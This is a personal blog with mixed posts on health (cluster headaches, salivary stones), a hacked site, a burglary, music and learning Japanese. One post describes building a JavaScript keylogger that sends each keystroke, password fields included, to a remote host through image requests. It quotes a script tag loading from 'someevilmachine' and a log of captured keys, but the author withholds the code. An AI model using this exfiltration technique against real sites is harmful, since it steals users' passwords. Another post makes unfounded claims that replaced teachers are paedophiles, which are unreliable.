After reading about Red Bull and coffee (and other high-caffeine drinks) being possible ways to stop or prevent an attack, I have reason to suspect that my heavy coffee drinking might have played a role, though:

What if my constant coffee-drinking has always prevented the condition from getting noticed?

So as a means of experiment, I doubled my coffee-intake yesterday (I must say, it has been a while feeling that “caffeine-buzz” which I felt after only 4 mugs), to see what would happen that evening. I had one moment that I felt a headache coming up at which moment I took another mug of coffee.

I kept an eye on the clock and 20 o’clock passed without any headache at all. That seems quite promising, although it’s difficult to say whether the coffee is really helping, I might have had no painful headaches that day anyway.

(And of course, it’s still not sure that I really suffer from cluster-headaches, it could just as well be some weird coincidence.)

Today, as part of my little experiment, I’m dropping back to just 3 mugs again to see what happens.

Until, a few of months ago, my stomach started acting up on me after drinking my WTF-mug filled with coffee. Seriously thinking it was the coffee, I started to cut down on my coffee-intake from that day on.

I usually drank about 10 to 12 of those mugs and the days after that was severily reduced to about 2 or 3 mugs: one or two in the morning (to wake up), and one in the evening after dinner.

Having built up a fair dependancy on caffeine; the headaches of course started to get worse.

Somehow, the brain still longs for caffeine — or the extra water-intake that comes with it — and your body lets you know it by giving you a headache to cope with.

Now, I used to have these types of headaches a lot, especially in the weekends in which I did not drink as much coffee as I have done during the week. These headaches weren’t anything “new” to me, I have had these long enough to think that it was coffee / caffeine related: if I had them in the evening (which I used to have regularly, somewhere between 19 and 20 o’clock, I had always fingered caffeine as the one responsible.

If you have drank liters of coffee a day and suddenly reduce that to barely 1 liter of coffee, your body starts to complain, or has a change to get used to. Well, at least mine did. The first couple of weeks were relatively easy, after 2/3 weeks, I started to really feel those ‘caffeine-dependancy-headaches’ as I’ve grown to call those.

The amount and intensity of these slowly reduced, even convincing me I was on the right track cutting down on coffee because the headaches went away.

Cluster Headaches
Now, a buddy of mine has been suffering from a condition called “cluster headaches” (Wikipedia page here) for quite a while now.

Honestly, the first time I heard of this, I think must be 2 years ago by now, I did think it was similar to what I was having — but I was still too busy blaming caffeine at that point and didn’t pay it no more mind.

Recently however, the intensity of my headache now increases again: “attacks” that last for about an hour, usually a bit less but sometimes even a whole hour longer.

I also noticed a slight difference that I had not felt before: the normal “caffeine-headache” I used to have concentrated mostly in the temple — but these headaches I was also having felt like being stung by something sharp in my eyes from behind at the same time: a subtle difference that I probably haven’t noticed earlier.

So there I was, earlier this week, lying on the couch, waiting for the pain to pass, when this friend suffering from the condition coincidentally came by our house. I told him about my headache-episode I was having at that time and how it felt. He immediately recognized it — especially the stingy pain behind the eye which sometimes can be really, really painful, making you want to roll on the floor in pain…

So, it wasn’t the caffeine after all and I may have been suffering from this quite some time now. The funny thing is, I have only really starting to get bothered by it the last couple of months, where before I thought it was caffeine related, the pain didn’t seem to take me out like it does now. It seems like its intensity is increasing over time…

Oh well, I’ll see how this pans out…

Updates
13:30: I discovered www.clusterheadaches.com and the “quiz” there. If I may have been in doubt, I’m most surely not anymore…

Last month my employer went bankrupt and me and some colleagues haven’t been payed for a couple of months.

It sucks…. There’s the issue of some back-pay that I still have to get back which comes with some paperwork and requires me to go through those old-cardboard boxes I call “my past”.. Hopefully I get most of it: 3 months not getting payed kinda drains your bank-account….

So that’s what’s been up lately, I just updated my CV here and thought I’d leave this little note. Hopefully things will settle soon though, so I can finally *really* laugh about this shit.

Yay.

As a result I am now delisted from Google’s index.

Apparently, this has been going on for a couple of months, but I was too busy with actual work so I never read any articles about it on the security-sites I normally occasionally visit.

Oh well, shit happens, and stuff has quickly been cleaned up (thank you, backups!) … and for safety have upgraded to the latest WordPress version. Not having upgraded a while ago, I was really just waiting for this to happen (yeh, lazy sysadmins et cetera :P)…

Seeing that basically the attacker could run any PHP code of his/her choice, which could include calling system binaries to retrieve information about user accounts or passwords. As I can not be a 100% sure about that at this moment, all the passwords have been reset to protect the innocent.

I am curious how long it’ll take before I get listed on Google again (as I still see Googlebot regularly visit the site)…

And… it’s not people that abuse things who harm people — it’s the people that put those things there without thinking.

An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging keypresses to their website. Picture the situation where you want to leave feedback at a site… but finally do not hit the “Send” button because of various reasons, like, for instance, the tone was too harsh so you decide not to. For the website it could have been very useful information: unsent comment or feedback may be more valuable than the ones that are actually arriving in their inboxes.

That was quite some time ago — and I didn’t give it any more thought until recently… See, I noticed that, for instance when I have worked the whole day, or the operating system is just acting up, sometimes the wrong window has the focus, and I am happily typing away, seeing nothing appear in the window I was staring at…. (Yeh, it happens.)

Now, there could be even more valuable information! Interesting bits of text, login names — or even better, accidentally typed passwords!

With that in my paranoid mind, I started tinkering around with Javascript to see if this is actually possible… I quickly put together some rather trivial code that captures the KeyboardEvent, inspects it, and collects them all into a string. Through the body’s onunload I called a routine that displayed an alert saying something like “Hey, you left these keypresses at this website: the collected string“.

Using the onunload however has several drawbacks:
- it isn’t always called (for instance, when the browser crashes),
- it seems the body’s onunload can only be set when the document is generated, that kinda sucks if you wanted to do be able to do the keylogging by simply loading some remotely stored Javascript file.

The curious and experimenting person that I am, I realised a bad guy would be not collecting the information and printing it — but would be sending them to a remote machine. Hmm, a remote machine, so AJAX won’t do… but there are always images…. What if I dynamically create an image, with a src pointing to some other website, with the pressed character in the GET request? Nice and simple, right?

OK, so now the keylogger is loaded and active when the following line is somehow inserted into a website:

<script type=”text/javascript” src=”http://someevilmachine/wtfjs.php”></script>

This simple single script, when loaded, attaches itself to the keyPressDown event of the document, of course remembering any old setting so to be able to pass the event through to any “local” code on the target website, as an attempt to go “undetected”.

Also, modern websites have all kinds of Javascript running, and could do some additional “setting up” from Javascript from which the event handlers get set… In an attempt to take this into account, the logger attaches itself after a delay of a given amount of milliseconds. After that, the moment a keypress event is received in the window, the requests appear in the logfile on the remote website (obligatory dump follows):

GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -
GET /temp/wtfimg.php?c=s HTTP/1.1″ 200 -
GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -

The drawback to the method currently, is that it sends a request with every keystroke made, which may be noticed by the more adept computer user… it would be possible to send collected strings at a given interval… But really, actually building a succesful keylogger isn’t the point; the point was figuring out if it is really doable (which, non-surprisingly, it is).

By the way, I’m rightly aware of the fact that I am discussing nothing really new here — this is absolutely no cutting-edge stuff. More interestingly, this has probably already been done by bad guys for ages.

On some websites with many authors that incidentally have the permission to insert Javascript, these “lower level” users could be able to catch passwords of administrative users, et cetera.

All-in-all, the only thing I am really frigging flabbergasted at, is the fact that an <input type="password"> actually sends the pressed key in a keypress event… WTF!? Knowing this, and wanting to “protect” a password entry field, I tried it by giving it its own onkeypress-handler….. I figured that it would get precendence over the documents’ keypress, but alas, it doesn’t…

It seems that there is no way to guard against this, other than to re-set your “local” event handlers regularly (which is no solution but a hack!)…

In conclusion, I really think that the password input type should somehow be prevented from putting any valid information about the pressed key into the KeyboardEvent. I know it’s used for comparing 2 passwords to validate a user’s password change for instance — but some hash could perfectly suffice there.

I am convinced the website-scripter should not ever have to have access to the real password entered in that field from Javascript — thinking that that could achieve some ‘protection’ is a flawed train of thought anyways…

Oh by the way, if you are looking for code: I will not release it here. It really isn’t difficult to cook some up yourself.

It’s is now sitting on the top of my house whistling and whistling and whistling and whistling and whistling and whistling and whistling and whistling and I wonder where it gets all that energy from… The Duracell bunny ain’t got nothing on that bird!

I was just reading Bruce Schneier’s CRYPTO-GRAM and he linked to this suprisingly good track (direct link to MP3) by MC Frontalot, called Secrets From The Future (direct link to the lyrics).

To quote the chorus:

You can’t hide secrets from the future with math.
You can try, but I bet that in the future they laugh
at the half-assed schemes and algorithms amassed
to enforce cryptographs in the past.

I dig it — I really, really dig it.

This song makes me want to own a car again … so that I can play this song on repeat — really, really frigging loud.

Everlast, Rap, Rock, War, Middle-East

Interestingly, the school does not file a complaint against the teacher because it wasn’t the teachers intension to show it on the screen. Also, a representative of the school now downplays the stories that initially went around, especially about the girl being a minor.

Of course, these sicko’s will “protect” each-other and they will probably “share” kids between them.

This isn’t the first time this same frigging school has a child-abuse-related incident: a few kids were abused, and even one teacher was screwing with a 16 year old and another once dangled his penis in front of the entire class-room. I heard some other “vague” stories about teachers suddenly being replaced by another teacher due to a “burn-out”.

If that story ever went around your school — that a teacher had a burn-out and had to be replaced — the odds are the teacher was a frigging paedophile that loved children just a tad too much, I’m sure!

I don’t know what comedian said it first, but “anyone who likes to work with children is suspect”..

See, my girlfriend found the new site set up by Everlast (to spread the word about his new album, Love War and The Ghost of Whitey Ford, I assume) called “Martyr Inc.“. (A pretty nice design job it is, I must say.)

I just love page 3 in the Book of Life, which I can relate to as we still had obligatory military service here in the Netherlands and that P.E. song was an inspiration to me to ‘rebel’ at that time.

Anyways I thought I’d spread the link here as well, as I know some of the few readers I have are into the same music.

(Oh yeah, and a happy new year and all that.)

It was only after the machine really crashed, and one of the two encoder cards didn’t want to initialise resulting in only static coming from the card. That sucked, so I tried to reboot to no avail, the damn thing didn’t even boot. Only after removing the card the machine wanted to boot so obviously the card died.

The card was quickly removed and a replacement ordered when I noticed there was a 24-month warranty on the dead card, so this was the first time in my life I actually sent a product back to make use of such a thing.

I got word today that, indeed, the product is broken and a replacement will soon be sent to me. Woohoo!

Yeah, even though there is hardly a damn interesting thing on TV, it does occasionally occur that 3 interesting programmes are airing at the same time and we don’t have to watch those programmes live again, either.

It so effing rules to be able to skip through those annoying ads and other irritating crap — or at least to be able to not miss anything remotely important by pausing while taking a leak.

You know, if you had biology in school, there are 2 tiny little holes on the floor of your mouth, about where your tongue attaches, where your saliva comes into your mouth.

Basically, what happens is that sometimes — and this is usually when I am eating — one duct that brings the saliva into my mouth is blocked by some white stuff. No problem, you’d say, you still got another saliva duct so enough saliva will still get into your mouth to be able to eat.

Yes, there is enough saliva in my mouth, but here is the problem: my salivary gland does not know that it is blocked so it keeps on producing saliva. This in turn causes my glands to swell up immensely: you can see a big bulge forming below my jaw.

And it also expands internally — causing pressure against my throat, making it extremely painful, thus hard, to swallow. This pain is pretty hard to describe… it’s like … when you throw up after having too much to drink and ate to much food whole and unchewed. You can imagine, or remember, that food hurts on it’s way back up through you throat. Well, it’s like that feeling, the main difference being I’m trying to swallow chewed food.

The first time this happened to me was when I was eating tomato-soup in 2001. Having had cat-scratch-disease I thought this was just my old swelling acting up and didn’t pay it any more mind as it went away after a few hours.

At a later time, I believe I was eating something with peanuts in it and it happened again. This time, more painful, and as I was home I went to the bathroom to check things out. That’s when I first noticed that there was something actually blocking my saliva duct! I did then realise possible consequences of the salivary gland keeping on producting while the stuff can’t get out — I freaked thinking about the gland ‘exploding’ in my neck.

So what does a man do? Of course, he tries to solve things by himself.

With a pair of cotton-tip applicators I was able to massage and force the white thing outward. Painful, yeah, because the floor of your mouth is pretty sensitive. After couple of minutes I was able to pop a little white thingy out and I felt and heard the saliva being released from my gland, going through the duct like a *woooosh* in my head. That really, really felt great.

So in total, I have been experiencing those painful episodes, 5 or 6 times now, over the last 6 years, messing up a couple of dinners. I thought it was some weird allergy, really. I didn’t touch tomato-soup since!

Only since about 2 or 3 years, thanks to some smart googling by my girlfriend have figured out it is salivary duct calculus that is causing these episodes. She only found a couple of Dutch sites though and at that time, I did not seem to find find anything relevant in English, because I really didn’t know any English term.

Obviously, I thought I was a freak. Nobody I knew ever heard about it, and that isn’t strange because I hadn’t before, either.

A week ago I was happily eating my girlfriends’ home-made tomato-soup and nothing happened I could enjoy it all. We even talked about that it was ages ago that it last happened.

Of course, a few days later (last weekend), it happened again. This time it was pretty painful again and I ran upstairs to the bathroom for the usual poke-and-massage-it-out routine. Looking inside my mouth, the two spit-holes seemed OK so I thought it’s OK, let’s continue eating. I went downstairs again, took another bite, and I really hurt when I tried to swallow it. So I went upstairs again, because this really felt the same as before. Again, I couldn’t see nothing… I really wanted to because I could force it out and go on eating my dinner!

After a couple of minutes of swinging back and forth between uh-oh-let’s-go-upstairs-and-check-it-out and hmm-really-nothing-let’s-continue-dinner I finally noticed the usual white spot behind one spithole.

I must’ve used about 20 cotton-tips to try to force it out, it was really a pain (as I write this 2 days after, the bottom of my mouth is still sore). I got a bit of white stuff out, but it was definitaly not all so I kept on massaging and forcing it. This even caused a small internal bleeding in my duct. The skin of the bottom of my tongue being fairly thin and transparent I could see a red spot between the spit-hole and the white stuff. I kept on forcing it out and I see the red spot popping, the blood from it merging with the out-flowing saliva and the rest of the white stuff coming out with a *woooosh* of saliva entering my mouth and my swollen saliva gland finally reducing.

Curious about possible causes and remedies I starting searching the web again. That is when I discovered this UK site about the condition, with a link to a forum with user experiences.

I was amazed at the amount of people suffering from this same, freaky and rare condition. Some people have even worse and more painful episodes so I guess I can consider myself “lucky” not having stones the size of an almond which have to surgically removed with possible nerve-damage.

I have read some pretty freaky stuff, about nerves growing the wrong way back causing one fellow his face’s sweat-glands to activate while chewing — or people without feeling in parts of their face after the surgery. I’ve always been pretty hesitant about surgery; and if I read that in some cases it didn’t really solve anything — or only temporary — it doesn’t really seem like a viable option.

So.. as far as I now understand, nobody really knows what exactly causes it, only that it statistically happens more to males than females. It is theorised that it may be caused by periods of reduced saliva production and that a steady flow of saliva may reduce changes of blockage by accumulating calculi, so for this I need to find some herbs or simply some sour candies to induce saliva production.

Friday morning wasn’t the nicest of mornings: I woke up at 7AM as usual, went downstairs to open my laptop and make myself a nice cuppa. The laptop is usually right there on the table… but… where the fuck is it now?! Still having not had my first cuppa coffee I had this crazy insane idea my girlfriend couldn’t sleep and took it upstairs or something…

So I went upstairs, hit the lights of the bedroom and seeing no laptop anywhere, yelled to my girlfriend (who woke up from the lights) “Where the fuck is my laptop?“.

So there we were, 30 seconds later, downstairs realising our place had been hit by one or more needy and greedy folk.

I noticed damage to the door to the garden — which is how he/they got in — which I wanted to take a picture of… but hey… where the fuck is the camera?

Where the fuck are the PS3 controllers? Where the fuck are the PS3 games? Where the fuck are our phones? Well, by now those things are probably sold-off already (although I expect those phone-o-saurusses to have been thrown in the bin already).

Some things left untouched, strangely. The PS3 console itself is still standing there, and our identity-cards and credit-cards and stuff were still in our wallets; the money was stolen from mine, though.

And, as I told the cops as they arrived 20 minutes later — “as you can smell, they didn’t steal our weed, too”.

The reason for the PS3 still being there could be because I did awake at the time of the break-in! (IRC logs tell me exactly when they have opened the laptop to check it out, and when the thing ping timed-out.)

I just thought nothing of it and went to sleep again, that might’ve startled the thief or thieves. Damn, and just for this type of occasion I still have some golf-clubs lying around… a missed opportunity.

Oh well, so the MacBook Pro is stolen, may take a while before I get a new one. The only real drag is that I had some private document locally stored on that thing which I have now lost (password protected though but I no longer have it either which sucks), and no longer having your phone and the numbers in it, and not being able to take a photograph of your pet in a unique situation, well, obviously that is major suckage.

The fact that somebody else was in my house doesn’t at all bother me that much (I hear the same, almost ‘cliche’ from everybody that it must be a frigging ill feeling). Me and the girlfriend are quite sober in that respect; we realise that, in fact, the misguided ones are the ones that are feeling safe in their home when in fact you never really are. You can’t do anything to prevent this, no alarm-system or anything can really guarantee this will not happen too you.

OK, this morning I did wake up earlier than normal and went downstairs partly to check if everything was *still* there but that’s just a phase of slightly increased paranoia I guess…

Quote Of The Week, QOTW

That’s the problem with homonyms, words written the same, but with different meanings. Kanker in Dutch, really, really only is a disease (or a district in India).

Amusing to some, offending to others…

I wonder how long this wrongly has been displayed — and how long before it’s noticed by someone that’d actually take the effort of sending them an email about it…

I quote:

She recalls the bird said: “You be good. I love you.” She responded, “I love you, too.” The bird said, “You’ll be in tomorrow,” and she responded, “Yes, I’ll be in tomorrow.”

Touching…

Quote Of The Week, QOTW

I love to recycle. I got a ‘new’ server from a buddy of mine, which performs better than the older one. So the web- and database- stuff have just been migrated to the other machine and things seem to work OK.

You may noticed if you have been here before that the page loads about, well … at least 5 times faster.

So that’s pretty cool! (edit) And it didn’t cost me a buck!

It hit me when my girlfriends’ laptop was starting to have issues because it was running too hot and rebooting a few days ago… This was due to a clogged air-vent, and was easily solved. However, to keep an eye on the temperature, she’s loaded the KDE applet that shows the CPU temperature.

This gives an interesting insight into power consumption … for instance, during normal browsing, opening a few tabs, et cetera, the temperature quickly rises a 10 degrees Celsius just because of the Flash animations that are trying to sell stuff we’re not even remotely interested in….

The moment you close those websites with those animations: *poof* the temperature drops and the fan quiets down again.

So I propose people to stop using those damned ads (or use text-ads if you really really need to).

(I was even thinking about taking this a step further, as a “proposal to stop irritating internet plugins” … where a plugin must show a screenshot, and a (i) button which you hover over to get informed about a plugins’ intent, and allow it. If the plugins’ actual action does not fit the intent, those plugin-writer should go to jail.. yeh I’m still hatching this one…)

A dog is never to old to learn new tricks so, heck, why not try to learn some bits of a new language in my 32th year on this planet. It may even come in handy when playing other, future Japanese import games.

I have always found “language” an intriguing thing … how the first cave-dwellers grumbled and how it this slowly developed into a spoken language, while the written language developed alongside.

As for study-tools, Kiten, a KDE program I knew exists, or the program it is derived from, aren’t natively available on OSX. I found something called Tensai but the author wants $30 as a registration fee so I’m not even trying the not-even-that-crippled free version. JEDict is the shareware program that I am using at the moment (together with some online resources).

Reading Japanese websites is like decoding encrypted messages, with the advantage that the “key” is constant… and you start to recognise characters and see relationships… and that’s cool.

Sure, the novelty of it may all wear off the moment I’m done with the game… but still, it keeps ones mind busy, so to speak…

(The game hasn’t arrived yet and neither has my new Public Enemy CD yet dropped on my doorstep… so that both kinda sucks in a little-boy-anxiously-waiting-for-his-new-toy kind of way.)